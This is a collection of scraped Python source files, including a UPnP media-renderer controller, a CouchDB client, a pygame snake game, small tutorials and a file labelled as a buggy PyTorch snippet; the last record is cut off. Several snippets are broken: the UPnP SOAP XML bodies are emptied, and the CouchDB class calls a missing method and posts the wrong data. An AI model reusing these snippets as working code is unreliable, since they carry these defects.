+{"seq_id":"72987839","text":"#!/usr/bin/env python3\n\nimport html\nimport requests\nimport sys\n\nfrom xml.dom import minidom\nfrom xmlHelper import XmlHelper\n\nclass UpnpCommand:\n\n def __init__(self, host):\n self.host = host\n self.verbose = False\n\n def host_send(self, action, control_path, control_name, action_args):\n\n if self.host.startswith(\"http://\"):\n control_url = self.host + control_path\n host_name = self.host[7:]\n else:\n control_url = \"http://\" + self.host + control_path\n host_name = self.host\n\n body = ''\n body += ''\n body += action_args\n body += '\t'\n body += ''\n body += ''\n if self.verbose:\n print(body)\n headers = {'Host': host_name,\n 'User-Agent': 'xrf/1.0',\n 'Content-Type': 'text/xml; charset=\"utf-8\"',\n 'Content-Length': str(len(body)),\n 'SOAPAction': '\"urn:schemas-upnp-org:service:'+control_name+':1#'+action+'\"'}\n try:\n response = requests.post(control_url, data=body, headers=headers, verify=False)\n if response.status_code < 300:\n if self.verbose:\n print(response.content)\n result = minidom.parseString(response.content)\n if self.verbose:\n print(result.toprettyxml())\n return result\n else:\n print(\"query {0} returned status_code:{1}\".format(control_url,response.status_code))\n except Exception as e:\n print(\"host send error {0}\".format(e))\n return None\n\n def host_send_rendering(self, action, action_args):\n return self.host_send(action,\n \"/RenderingService/Control\",\n \"RenderingControl\",\n action_args)\n\n def host_send_transport(self, action, action_args):\n return self.host_send(action,\n \"/TransportService/Control\",\n \"AVTransport\",\n action_args)\n\n def host_send_contentdirectory(self, action, action_args):\n return self.host_send(action,\n \"/cd/Control\",\n \"ContentDirectory\",\n action_args)\n\n def play(self):\n xmlroot = self.host_send_transport(\"Play\", '01')\n return None\n\n def stop(self):\n xmlroot = self.host_send_transport(\"Stop\", '0')\n return None\n\n def seek(self, value):\n xmlroot = self.host_send_transport(\"Seek\",\n '0ABS_TIME'\n '' + value + '')\n return None\n\n def previous(self):\n xmlroot = self.host_send_transport(\"Previous\", '0')\n return None\n\n def next(self):\n xmlroot = self.host_send_transport(\"Next\", '0')\n return None\n\n def get_state_var(self):\n xmlroot = self.host_send_rendering(\"GetStateVariables\",\n '0<'\n 'StateVariableList>TransportStatus')\n return None\n\n def get_position_info(self):\n xmlroot = self.host_send_transport(\"GetPositionInfo\", '0')\n return XmlHelper.xml_extract_dict(xmlroot, ['Track',\n 'TrackDuration',\n 'TrackMetaData',\n 'TrackURI',\n 'RelTime',\n 'AbsTime',\n 'RelCount',\n 'AbsCount'])\n\n def get_transport_setting(self):\n xmlroot = self.host_send_transport(\"GetTransportSettings\", '0')\n return XmlHelper.xml_extract_dict(xmlroot, ['PlayMode'])\n\n def get_media_info(self):\n xmlroot = self.host_send_transport(\"GetMediaInfo\", '0')\n return XmlHelper.xml_extract_dict(xmlroot, ['PlayMedium', 'NrTracks', 'CurrentURI', 'CurrentURIMetaData'])\n\n def set_transport_uri(self, data):\n print(\"CurrentURI:\\n\" + data['CurrentURI'])\n print(\"CurrentURIMetaData:\\n\" + data['CurrentURIMetaData'])\n send_data = '0'\n add_uri = data['CurrentURI']\n if 'raumfeldname' in data:\n if data['raumfeldname'] == 'Station':\n if 'TrackURI' in data:\n add_uri = data['TrackURI']\n\n send_data += \"\"\n send_data += \"\" + html.escape(data['CurrentURIMetaData']) + \"\"\n # + html.escape(data['CurrentURIMetaData']) +\n print(data['CurrentURIMetaData'])\n xmlroot = self.host_send_transport(\"SetAVTransportURI\", send_data)\n return XmlHelper.xml_extract_dict(xmlroot, ['SetAVTransportURI'])\n\n '''Rendering service'''\n\n def get_volume(self):\n xmlroot = self.host_send_rendering(\"GetVolume\", '0Master')\n return XmlHelper.xml_extract_dict(xmlroot, ['CurrentVolume'])\n\n def set_volume(self, value):\n xmlroot = self.host_send_rendering(\"SetVolume\",\n '0Master' +\n '' + str(value) + '')\n return None\n\n\n def get_room_volume(self, uuid):\n xmlroot = self.host_send_rendering(\"GetRoomVolume\", '0'\n '' + uuid + '')\n return XmlHelper.xml_extract_dict(xmlroot, ['CurrentVolume'])\n\n\n def set_room_volume(self, uuid, value):\n xmlroot = self.host_send_rendering(\"SetVolume\",\n '0Master' +\n '' + str(value) + '' +\n '' + uuid + '')\n return None\n\n def get_browse_capabilites(self):\n xmlroot = self.host_send_contentdirectory(\"GetSearchCapabilities\", '')\n return XmlHelper.xml_extract_dict(xmlroot, ['SearchCaps'])\n\n def browse(self, path):\n browseData = \"\" + path +\"\" \\\n + \"BrowseMetadata\" \\\n + \"*\" \\\n + \"0\" \\\n + \"0\" \\\n + \"dc:title\"\n xmlroot = self.host_send_contentdirectory(\"Browse\", browseData)\n return XmlHelper.xml_extract_dict(xmlroot, ['Result', 'TotalMatches', 'NumberReturned'])\n\n def browsechildren(self, path):\n browseData = \"\" + path +\"\" \\\n + \"BrowseDirectChildren\" \\\n + \"*\" \\\n + \"0\" \\\n + \"0\" \\\n + \"dc:title\"\n xmlroot = self.host_send_contentdirectory(\"Browse\", browseData)\n return XmlHelper.xml_extract_dict(xmlroot, ['Result', 'TotalMatches', 'NumberReturned'])\n\n def browse_recursive_children(self, path, level=10):\n if level < 0:\n return\n result = self.browsechildren(path)\n if len(result) == 0:\n return\n xml_root = minidom.parseString(result['Result'])\n container_list = xml_root.getElementsByTagName(\"container\")\n for container in container_list:\n npath = container.attributes[\"id\"].value\n element = container.getElementsByTagName('dc:title')\n if element[0].firstChild is not None:\n title = element[0].firstChild.nodeValue\n print(\"C\", npath, \"-\", title)\n self.browse_recursive_children(npath,level-1)\n item_list = xml_root.getElementsByTagName(\"item\")\n for item in item_list:\n item_id = item.attributes[\"id\"].value\n element = item.getElementsByTagName('dc:title')\n title = element[0].firstChild.nodeValue\n if element[0].firstChild is not None:\n print(\"+\", path, \"-\", item_id, \"-\", title)\n\n\ndef usage(argv):\n print(\"Usage: \" + argv[0] + \" ip:port [COMMAND|INFO] {args}\")\n print(\"COMMAND: \")\n print(\" play play last stuff\")\n print(\" stop stop current playing\")\n print(\" setv vol set volume args=0..100\")\n print(\" seek pos seek to position args=00:00:00 ... 99:59:59\")\n print(\"INFO: \")\n print(\" getv get volume info\")\n print(\" position GetPositionInfo \")\n print(\" media GetMediaInfo\")\n print(\" transport GetTransportSettings \")\n print(\" allinfo all infos in one call \")\n print(\"BROWSE: \")\n print(\" cap get browse capabilities\")\n print(\" browse path Browse for data\")\n print(\" browsechildren path Browse for data append /* for recursive\")\n\n\ndef main(argv):\n if len(sys.argv) < 3:\n usage(sys.argv)\n sys.exit(2)\n\n host = sys.argv[1]\n uc = UpnpCommand(host)\n operation = sys.argv[2]\n result = None\n if operation == 'play':\n result = uc.play()\n elif operation == 'stop':\n result = uc.stop()\n elif operation == 'getv':\n result = uc.get_volume()\n elif operation == 'setv':\n result = uc.set_volume(sys.argv[3])\n elif operation == 'seek':\n result = uc.seek(sys.argv[3])\n elif operation == 'prev':\n result = uc.previous()\n elif operation == 'next':\n result = uc.next()\n elif operation == 'position':\n result = uc.get_position_info()\n elif operation == 'transport':\n result = uc.get_transport_setting()\n elif operation == 'getstatevar':\n result = uc.get_state_var()\n elif operation == 'media':\n result = uc.get_media_info()\n result += uc.get_position_info()\n elif operation == 'allinfo':\n result = uc.get_volume()\n result += uc.get_position_info()\n result += uc.get_transport_setting()\n result += uc.get_media_info()\n elif operation == 'cap':\n result = uc.get_browse_capabilites()\n elif operation == 'browse':\n result = uc.browse(argv[3])\n xmlRoot = minidom.parseString(result['Result'])\n print(xmlRoot.toprettyxml(indent=\"\\t\"))\n elif operation == 'browsechildren':\n if argv[3].endswith('/*'):\n result = uc.browse_recursive_children(argv[3][:-2])\n print(result)\n else:\n result = uc.browsechildren(argv[3])\n xmlRoot = minidom.parseString(result['Result'])\n print(xmlRoot.toprettyxml(indent=\"\\t\"))\n return\n\n else:\n usage(sys.argv)\n print(result)\n\nif __name__ == \"__main__\":\n main(sys.argv)\n\n\n\n''' Transport\n\n\ndlna-playcontainer://uuid%3A3b06960d-f950-476c-8118-ad55893741d6\n?sid=urn%3Aupnp-org%3AserviceId%3AContentDirectory\n&cid=0%2FMy%20Music%2FAlbums%2FJeff%2520Beck%2BYou%2520Had%2520It%2520Coming\n&md=0\n{\ndlna-playcontainer://uuid:3b06960d-f950-476c-8118-ad55893741d6\n?sid=urn%3Aupnp-org%3AserviceId%3AContentDirectory\n&cid=0/My%20Music/Albums/Jeff%2520Beck%2BYou%2520Had%2520It%2520Coming\n&md=0\n&fii=0\",\ndlna-playcontainer://uuid:3b06960d-f950-476c-8118-ad55893741d6\n\n?sid=urn%3Aupnp-org%3AserviceId%3AContentDirectory\n&cid=0/My%20Music/Albums/Jeff%2520Beck%2BYou%2520Had%2520It%2520Coming\n&md=0&fii=0\n\n\n'dlna-playcontainer://\nuuid%3A3\nb06960d-f950-476c-8118-ad55893741d6\n?sid=urn%3Aupnp-org%3AserviceId%3AContentDirectory\n&cid=0%2FMy%20Music%2FArtists%2FAl%2520Di%2520Meola%2FAl%2520Di%2520Meola%2BElegant%2520Gypsy\n&md=0\n&fii=0'\n\n\n\"http://opml.radiotime.com/Tune.ashx?id=s56065&formats=wma,mp3,ogg&partnerId=7aJ9pvV5&serial=54:4a:16:7f:16:82\",\n\nLineIn: Uri\n\"http://192.168.2.110:8888/stream.flac\",\n\n\n;http://192.168.2.110:42970\n/874a359d-1c7c-4816-bc44-e0bb170709c7\n/f8dc41ab-6b7c-4d07-8095-30d6bdcabb9a\n/93b5a7d0-17c4-48f0-b317-ac8b5d50b7d1\n/4c84a0a1c1d403d9f2273056d22b9527--2112583696-0-0.flac</res></item></DIDL-Lite> \"/>\n\t\t\n\t\t\n\n\"Pause\": {\n \"InstanceID\": {\n\"SetAVTransportURI\": {\n \"CurrentURI\": {\n \"relatedStateVariable\": \"AVTransportURI\"\n \"CurrentURIMetaData\": {\n \"relatedStateVariable\": \"AVTransportURIMetaData\"\n \"InstanceID\": {\n\"SetNextAVTransportURI\": {\n \"InstanceID\": {\n \"NextURI\": {\n \"relatedStateVariable\": \"AVTransportURI\"\n \"NextURIMetaData\": {\n \"relatedStateVariable\": \"AVTransportURIMetaData\"\n\"SetNextStartTriggerTime\": {\n \"InstanceID\": {\n \"StartTime\": {\n \"TimeService\": {\n\"SetPlayMode\": {\n \"InstanceID\": {\n \"NewPlayMode\": {\n'''\n\n'''\n\"GetMute\": {\n \"Channel\": {\n \"InstanceID\": {\n\"GetRoomMute\": {\n \"InstanceID\": {\n \"Room\": \"relatedStateVariable\": \"UUID\"\n\"GetRoomVolume\": {\n \"InstanceID\": {\n \"relatedStateVariable\": \"A_ARG_TYPE_InstanceID\"\n \"Room\": \"relatedStateVariable\": \"UUID\"\n\"SetMute\": {\n \"Channel\": {\n \"DesiredMute\": {\n \"InstanceID\": {\n\"SetRoomMute\": {\n \"DesiredMute\": {\n \"InstanceID\": {\n \"Room\":\"relatedStateVariable\": \"UUID\"\n\"SetRoomVolume\": {\n \"DesiredVolume\": {\n \"InstanceID\": {\n \"Room\": \"relatedStateVariable\": \"UUID\"\n'''\n","sub_path":"upnpCommand.py","file_name":"upnpCommand.py","file_ext":"py","file_size_in_byte":14553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"179605571","text":"# Let's play with functions a little bit more\n\n# 1. The syntax of definining a function\ndef sample_function():\n\tprint(\"this is the most basic syntax of function\")\n\nsample_function()\n\n# 2. Taking arguments and un-determined arguments:\ndef multi_arg_function(arg1, arg2, *arg3):\n\tprint(\"First argument\",arg1)\n\tprint(\"Second argument\",arg2)\n\tprint(\"Last argument\",arg3)\nmulti_arg_function(1,2,3,4,5,6,7)\n\n# 3. Function with pre-defined value ()\ndef pre_defined_sum(a = 1, b = 1):\n\treturn (a+b)\nprint(\"when passing no value:\",pre_defined_sum())\nprint(\"when adding 2 and 2:\",pre_defined_sum(2,2))\n\n# 4. To pass a dictionary, use **. ** is for dictionary\ndef dict_function(**dict_arg):\n\tfor key, value in dict_arg.items():\n\t\tprint(key,\"-\",value)\nname1 = \"str_as_key\"\ndict_ = {\n\t'a':1,\n\t'b':2,\n\t'c':3\n}\ndict_function(a = 1,b = 2,c = 3)\n# dict_function(dict_)","sub_path":"Python/04_Function.py","file_name":"04_Function.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"198246031","text":"def load_state_dict(self, state_dict):\n \"Copies parameters and buffers from :attr:`state_dict` into\\n this module and its descendants. The keys of :attr:`state_dict` must\\n exactly match the keys returned by this module's :func:`state_dict()`\\n function.\\n\\n Arguments:\\n state_dict (dict): A dict containing parameters and\\n persistent buffers.\\n \"\n own_state = self.state_dict()\n for (name, param) in state_dict.items():\n if (name not in own_state):\n raise KeyError('unexpected key \"{}\" in state_dict'.format(name))\n if isinstance(param, Parameter):\n param = param.data\n own_state[name].copy_(param)\n missing = (set(own_state.keys()) - set(state_dict.keys()))\n if (len(missing) > 0):\n raise KeyError('missing keys in state_dict: \"{}\"'.format(missing))","sub_path":"Data Set/bug-fixing-5/95ccbf8b0b29bc0d285367c7de693fb24628bd26--bug.py","file_name":"95ccbf8b0b29bc0d285367c7de693fb24628bd26--bug.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"44498084","text":"import json\nimport pandas as pd\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import linear_kernel\n\ndef clean_data_actual():\n\n\tprojects = []\n\tstatus_value = {'Rejected':-1,'Starred':0,'Approved':1}\n\n\twith open('nlp/Untitled.json') as f:\n\t\tfor line in f:\n\t\t\trow = []\n\t\t\tdata = json.loads(line)\n\n\t\t\trow.append(data['idea_id']['$numberInt'])\n\t\t\trow.append(data['title'])\n\t\t\trow.append(data['abstract'])\n\t\t\trow.append(status_value[data['status']])\n\t\t\trow.append(data['like_count']['$numberInt'])\n\t\t\trow.append(data['dislike_count']['$numberInt'])\n\n\t\t\t#print(str(idea_id)+\" \"+data['title']+\" \"+str(status_value[data['status']])+\" \"+str(like_count)+\" \"+str(like_count))\n\t\t\tprojects.append(row)\n\n\tdf = pd.DataFrame(projects,columns=['idea_id','title','abstract','status','like_count','dislike_count'])\n\treturn df\n\ndef get_recommendations(df,title,indices,cosine_sim,n_rec=3):\n\tidx = indices[title]\n\tsim_scores = list(enumerate(cosine_sim[idx]))\n\tsim_scores = sorted(sim_scores, key=lambda x: x[1], reverse=True)\n\tsim_scores = sim_scores[1:(n_rec+1)]\n\n\tmovie_indices = [i[0] for i in sim_scores]\n\treturn df['title'].iloc[movie_indices]\n\ndef get_param():\n\n\tdf = clean_data_actual()\n\t#print(df['abstract'].head())\n\ttfidf = TfidfVectorizer(stop_words='english')\n\ttfidf_matrix = tfidf.fit_transform(df['abstract'])\n\t#print(tfidf_matrix.shape)\n\tcosine_sim = linear_kernel(tfidf_matrix, tfidf_matrix)\n\tindices = pd.Series(df.index, index=df['title']).drop_duplicates()\n\n\treturn df,cosine_sim,indices\n\ndf,cosine_sim,indices = get_param()\ndf = get_recommendations(df,\"Food Recommender\",indices,cosine_sim)\n\nprint(df.values.tolist())","sub_path":"nlp/analyse.py","file_name":"analyse.py","file_ext":"py","file_size_in_byte":1660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"217690771","text":"# -*-coding: utf-8 -*-\nimport math\nimport cmath\n\n\n# 10-6\ndef myopen(fn, mode='r', encoding='utf-8'):\n try:\n f = open(fn, mode, encoding=encoding)\n return f\n except BaseException as e:\n return None\n\n\n# 10-8\ndef safe_input(output):\n try:\n s = input(output)\n return s\n except (EOFError, KeyboardInterrupt) as e:\n print(e)\n return None\n\n\n# 10-9\ndef safe_sqrt(num):\n try:\n return math.sqrt(num)\n except ValueError as ve:\n return cmath.sqrt(num)\n\n\ndef test():\n # 10-6 test\n print(myopen('nofile'))\n print(myopen('../ch9/doc.txt'))\n # 10-8 test\n # print(safe_input('请输入:\\n'))\n # 10-9 test\n print(safe_sqrt(-1))\n\nif __name__ == '__main__':\n test()\n\n","sub_path":"ch10/practice.py","file_name":"practice.py","file_ext":"py","file_size_in_byte":754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"208105683","text":"class Fraccion:\r\n \r\n\r\n def __init__(self, num, den):\r\n self.num = num\r\n self.den = den\r\n \r\n \r\n def imprime(self):\r\n print(self.num, \"/\", self.den)\r\n\r\n def multiplicar(self, b):\r\n n = self.num * b.num\r\n d = self.den * b.den\r\n r = Fraccion(n,d)\r\n return r\r\n \r\n \r\n \r\n \r\ndef main():\r\n\r\n a = Fraccion(3,2)\r\n a.imprime()\r\n\r\n b = Fraccion(7,4)\r\n b.imprime()\r\n\r\n r = a.multiplicar(b)\r\n r.imprime()\r\n \r\n\r\n \r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n \r\n \r\n","sub_path":"Clases_y_objetos.py","file_name":"Clases_y_objetos.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"6682553","text":"from json import dumps, loads\n\nimport urllib\n\n\nclass CouchDBInterface():\n \"\"\"\n CoucDB interface class. Provides simple methods to interact with database,\n \"\"\"\n def __init__(self, dbname, url='http://localhost:5984/', lucene_url='http://localhost:5985/', queue_size=1000):\n self.__dbname = dbname\n self.__dburl = url\n self.__lucene_url = lucene_url\n self.__queuesize = queue_size\n self.__opener = urllib.request.build_opener(urllib.request.HTTPHandler)\n self.reset_queue()\n\n def reset_queue(self):\n \"\"\"\n Clear batch actions queue.\n \"\"\"\n self.__queue = []\n\n def construct_request(self, url, db_url=None, method='GET', headers=None, data=None):\n \"\"\"\n Method to construct a HTTP request to database\n \"\"\"\n if headers is None:\n headers = {}\n\n headers['Content-Type'] = 'application/json'\n if db_url is None:\n db_url = self.__dburl\n\n if data is None:\n request = urllib.request.Request(db_url + url,\n headers=headers,\n method=method)\n else:\n request = urllib.request.Request(db_url + url,\n headers=headers,\n data=dumps(data).encode('utf-8'),\n method=method)\n\n # print('Construct request: %s' % (db_url + url))\n return request\n\n def to_json_query(self, params):\n \"\"\"\n Converts object to properly encoded JSON in utf-8\n \"\"\"\n stringfied = dict()\n for p in params:\n if isinstance(params[p], str):\n stringfied[p] = params[p]\n else:\n stringfied[p] = dumps(params[p])\n\n return urllib.parse.urlencode(stringfied)\n\n def get_document(self, doc_id, rev=None):\n \"\"\"\n Get a single document from database\n \"\"\"\n if rev is None:\n db_request = self.construct_request('%s/%s' % (self.__dbname,\n doc_id))\n else:\n db_request = self.construct_request('%s/%s?rev=%s' % (self.__dbname,\n doc_id,\n rev))\n\n data = self.__open(db_request)\n return data\n\n def load_view(self, view_name, options=None):\n \"\"\"\n Query couchDB view with optional query parameters\n \"\"\"\n if options is None:\n db_request = self.construct_request(\"%s/%s\" % (self.__dbname,\n view_name))\n else:\n db_request = self.construct_request(\"%s/%s?%s\" % (self.__dbname,\n view_name,\n self.to_json_query(options)))\n\n data = self.__open(db_request)\n return data\n\n def commit_one(self, doc):\n \"\"\"\n Put single document to couchDB, _id can be specified in to-be written document object\n \"\"\"\n db_request = self.construct_request(self.__dbname, method='POST', data=doc)\n data = self.__open(db_request)\n return data\n\n def delete_doc(self, doc_id, rev=None):\n \"\"\"\n Mark document as deleted and commit to couchDB\n \"\"\"\n tmp_doc = self.document(doc_id, rev)\n tmp_doc[\"_deleted\"] = True\n data = self.commit_one(tmp_doc)\n return data\n\n def enqueue(self, doc):\n \"\"\"\n Add a document to queue list. If queue is full - commit\n \"\"\"\n self.__queue.append(doc)\n if len(self.__queue) >= self.__queuesize:\n self.commit()\n\n def commit(self, doc=None):\n \"\"\"\n Commit queue to DB. if wanted to commit single doc -> it is added to queue\n \"\"\"\n if doc is not None:\n self.enqueue(doc)\n\n if len(self.__queue) == 0:\n return\n\n to_send = dict()\n to_send['docs'] = self.__queue\n db_request = self.construct_request('%s/_bulk_docs/' % (self.__dbname),\n method='POST',\n data=doc)\n retval = self.__open(db_request)\n self.reset_queue()\n return retval\n\n def document_exists(self, doc_id, rev=None):\n \"\"\"\n Check if a document exists by ID. If specified check that the revision rev exists\n \"\"\"\n url = '/%s/%s' % (self.__dbname, doc_id)\n if rev:\n url += '?rev=%s' % (rev)\n\n try:\n db_request = self.construct_request(url, method='HEAD')\n self.__open(db_request)\n return True\n except Exception:\n return False\n\n def fti_search(self, query, options=None):\n \"\"\"\n Query couchDB view with optional query parameters using couchdb-lucene (fti)\n \"\"\"\n if 'key' in options:\n options['key'] = '\"' + str(options['key']) + '\"'\n\n # localhost:5985/local/campaigns/_design/lucene/search?q=prepid:First*&include_docs=true\n db_request = self.construct_request('local/%s/_design/lucene/search?q=%s&%s' % (self.__dbname,\n query,\n self.to_json_query(options)),\n db_url=self.__lucene_url)\n data = self.__open(db_request)\n return data\n\n def get_update_sequence(self, options=None):\n \"\"\"\n Get database update sequence information\n \"\"\"\n if options is None:\n options = {}\n\n options[\"_info\"] = True\n db_request = self.construct_request('%s?%s' % (self.__dbname,\n self.to_json_query(options)))\n data = self.__open(db_request)\n return data[\"update_seq\"]\n\n def count(self):\n \"\"\"\n Return number of documents in database\n \"\"\"\n db_request = self.construct_request(self.__dbname)\n data = self.__open(db_request)\n return data[\"doc_count\"]\n\n def __open(self, request):\n data = self.__opener.open(request)\n result = data.read().decode('utf-8')\n if not result:\n return {}\n\n result = loads(result)\n return result\n","sub_path":"couchdb_layer/couchdb_interface.py","file_name":"couchdb_interface.py","file_ext":"py","file_size_in_byte":6633,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"482387214","text":"import tsplib95 as tsp\nimport numpy as np\nfrom scipy.spatial import distance_matrix\n\npathA = \"kroA200.tsp\"\npathB = \"kroB200.tsp\"\n\n\nclass PrepareData:\n\n def __init__(self, path):\n self.data = tsp.load_problem(path)\n self.coordinates = self.get_coords()\n self.distance_matrix = self.calculate_distance_matrix()\n\n def get_coords(self):\n cords_dict = self.data.node_coords\n coordinates = []\n for k in cords_dict.keys():\n coordinates.append(cords_dict.get(k))\n return np.array(coordinates)\n\n def calculate_distance_matrix(self):\n matrix_of_distances = distance_matrix(self.coordinates, self.coordinates)\n matrix_of_distances = np.rint(matrix_of_distances)\n matrix_of_distances = matrix_of_distances.astype(int)\n return matrix_of_distances\n\n\ndef shortest_next(distances_matrix, visited, last):\n new_row_of_distance_matrix = distances_matrix[last].copy()\n max_value = np.max(new_row_of_distance_matrix)\n new_row_of_distance_matrix[last] = 2*max_value\n for v in visited:\n new_row_of_distance_matrix[v] = 2*max_value\n return np.argmin(new_row_of_distance_matrix)","sub_path":"preparedata.py","file_name":"preparedata.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"58478109","text":"# -*- coding: utf-8 -*-\n'''\n1、控制小蛇的运动\n2、检测是否发生碰撞\n3、游戏失败提示\n'''\n\nimport pygame # 导入pygame库\nfrom pygame.locals import * # 导入pygame库中的一些常量\nfrom sys import exit # 导入sys库中的exit函数\nfrom random import randint\n\nSCREEN_WIDTH, SCREEN_HEIGHT = 640, 480 # 定义窗口的分辨率\nclock = pygame.time.Clock() # 时钟,用于设置游戏帧率\n\n# 初始化\npygame.init() # 初始化pygame\nscreen = pygame.display.set_mode([SCREEN_WIDTH, SCREEN_HEIGHT]) # 初始化窗口\npygame.display.set_caption('贪吃蛇') # 设置窗口标题\n\n# 图片资源\nstart_img = pygame.image.load('res/start.jpg') # 开始图\nback_img = pygame.image.load('res/back.jpg') # 背景图\nfail_img = pygame.image.load('res/fail.png') # 失败图\n\n\n##############################################################\n\n\n# 定义一些常量\nGRID_SIZE = 20 # 格子大小\nX_MAX = SCREEN_WIDTH / GRID_SIZE\nY_MAX = SCREEN_HEIGHT / GRID_SIZE\n# 四个运动方向\nDIRE_LEFT, DIRE_RIGHT, DIRE_UP, DIRE_DOWN = [-1, 0], [1, 0], [0, -1], [0, 1]\nKEY_DIRECTION = {pygame.K_LEFT: DIRE_LEFT, pygame.K_RIGHT: DIRE_RIGHT,\n pygame.K_UP: DIRE_UP, pygame.K_DOWN: DIRE_DOWN}\n\n\nclass SnakeBlock(pygame.sprite.Sprite):\n '蛇身 精灵'\n OUTER_RECT = pygame.Rect(0, 0, 20, 20)\n INNER_RECT = pygame.Rect(4, 4, 12, 12)\n OUTER_COLOR = (0, 0, 255)\n INNER_COLOR = (173, 216, 230)\n\n def __init__(self, x, y):\n super().__init__()\n # 绘制蛇身\n surface = pygame.Surface([GRID_SIZE, GRID_SIZE])\n pygame.draw.rect(surface, self.OUTER_COLOR, self.OUTER_RECT)\n pygame.draw.rect(surface, self.INNER_COLOR, self.INNER_RECT)\n # 初始化\n self.image = surface\n self.rect = self.image.get_rect()\n self.rect.topleft = [GRID_SIZE * x, GRID_SIZE * y]\n # 蛇身运动方向\n self.direction = DIRE_RIGHT\n\n def update(self):\n self.rect.left += GRID_SIZE * self.direction[0]\n self.rect.top += GRID_SIZE * self.direction[1]\n\n\nclass Snake(pygame.sprite.Group):\n '小蛇 组'\n\n def __init__(self):\n '初始化,创建三节蛇身'\n super().__init__()\n self.add(SnakeBlock(X_MAX/2, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 1, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 2, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 3, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 4, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 5, Y_MAX/2))\n self.add(SnakeBlock(X_MAX/2 - 6, Y_MAX/2))\n\n def __del__(self):\n '析构函数'\n self.empty()\n\n def SetDirection(self, direction):\n ''''\n 设置方向。\n 小蛇的运动方向 就是蛇头的运动方向'\n 上下运动时才能向左/右,左右运动时才能向上/下\n '''\n st = self.sprites()[0]\n if direction in [DIRE_LEFT, DIRE_RIGHT] and st.direction in [DIRE_UP, DIRE_DOWN]:\n st.direction = direction\n elif direction in [DIRE_UP, DIRE_DOWN] and st.direction in [DIRE_LEFT, DIRE_RIGHT]:\n st.direction = direction\n\n def ChangeDirection(self):\n ''\n # 依次改变蛇身运动方向为上一段(第一段不变)\n pre_direction = DIRE_RIGHT # 记录上一段蛇身的运动方向\n for (i, s) in enumerate(self):\n t = s.direction\n if i > 0: # 改为上一段蛇身的运动方向\n s.direction = pre_direction\n pre_direction = t\n\n def Collide(self):\n '检测是否发生碰撞'\n return self.CollideBox() or self.CollideSelf()\n\n def CollideBox(self):\n '检测是否碰撞边沿'\n rect = self.sprites()[0].rect\n return rect.left < 0 or rect.right > SCREEN_WIDTH or rect.top < 0 or rect.bottom > SCREEN_HEIGHT\n\n def CollideSelf(self):\n '检测是否碰撞自身'\n return len(pygame.sprite.spritecollide(self.sprites()[0], self, False)) > 1\n\n\n##############################################################\n\n\n# 游戏状态:0 开始,1 游戏,2 失败\nstate_index = 0\nspeed = 5\nsnake = None\n\n# 事件循环(main loop)\nwhile True:\n clock.tick(speed) # 游戏帧率(也是小蛇的运行速度)\n\n # 处理游戏退出,从消息队列中循环取\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n exit()\n\n if event.type == pygame.KEYDOWN:\n\n if event.key == pygame.K_SPACE:\n if state_index in [0, 2]:\n # 开始游戏,初始化小蛇\n state_index = 1\n speed = 5\n del snake # 清空原有小蛇\n snake = Snake()\n if state_index == 1 and event.key in KEY_DIRECTION:\n snake.SetDirection(KEY_DIRECTION[event.key])\n # if event.key == pygame.K_LEFT:\n # snake.SetDirection(DIRE_LEFT)\n # elif event.key == pygame.K_RIGHT:\n # snake.SetDirection(DIRE_RIGHT)\n # elif event.key == pygame.K_UP:\n # snake.SetDirection(DIRE_UP)\n # elif event.key == pygame.K_DOWN:\n # snake.SetDirection(DIRE_DOWN)\n\n if state_index == 0:\n screen.blit(start_img, (0, 0)) # 绘制背景\n elif state_index == 2:\n '游戏失败'\n # screen.blit(fail_img, (0, 0))\n else:\n # 正常游戏时\n screen.blit(back_img, (0, 0))\n snake.update()\n snake.draw(screen)\n snake.ChangeDirection()\n if snake.Collide():\n state_index = 2\n screen.blit(fail_img, (0, 0)) # 状态改变时运行一次即可\n\n # 更新屏幕\n pygame.display.update() # 更新屏幕\n","sub_path":"snake.3.py","file_name":"snake.3.py","file_ext":"py","file_size_in_byte":6136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"615032984","text":"from typing import Sequence, Any, Union, Callable, List, Tuple, Iterator, Iterable\nimport warnings\nimport pickle\nimport copy\nfrom pathlib import Path\nfrom itertools import accumulate, chain, islice\nimport bisect\n\n\nclass RandomAccessConcat:\n def __init__(self, *datasets: List[Sequence[Any]]) -> None:\n self._datasets = datasets\n self._offsets = None\n self._length = None\n\n def _initialize_offsets(self) -> None:\n self._lengths = list(accumulate(len(d) for d in self._datasets))\n self._offsets = [0] + self._lengths[:-1]\n\n def __iter__(self) -> Iterator[Any]:\n for d in self._datasets:\n yield from d\n\n def __getitem__(self, index: int) -> Any:\n if self._offsets is None:\n self._initialize_offsets()\n if index < 0 or len(self) <= index:\n raise IndexError('RandomAccessConcat object index out of range')\n j = bisect.bisect_right(self._lengths, index)\n return self._datasets[j][index - self._offsets[j]]\n\n def __len__(self) -> int:\n if self._offsets is None:\n self._initialize_offsets()\n if self._length is None:\n self._length = self._lengths[-1]\n return self._length\n\n\nclass RandomAccessZip:\n def __init__(self, *datasets: List[Sequence[Any]]) -> None:\n self._datasets = 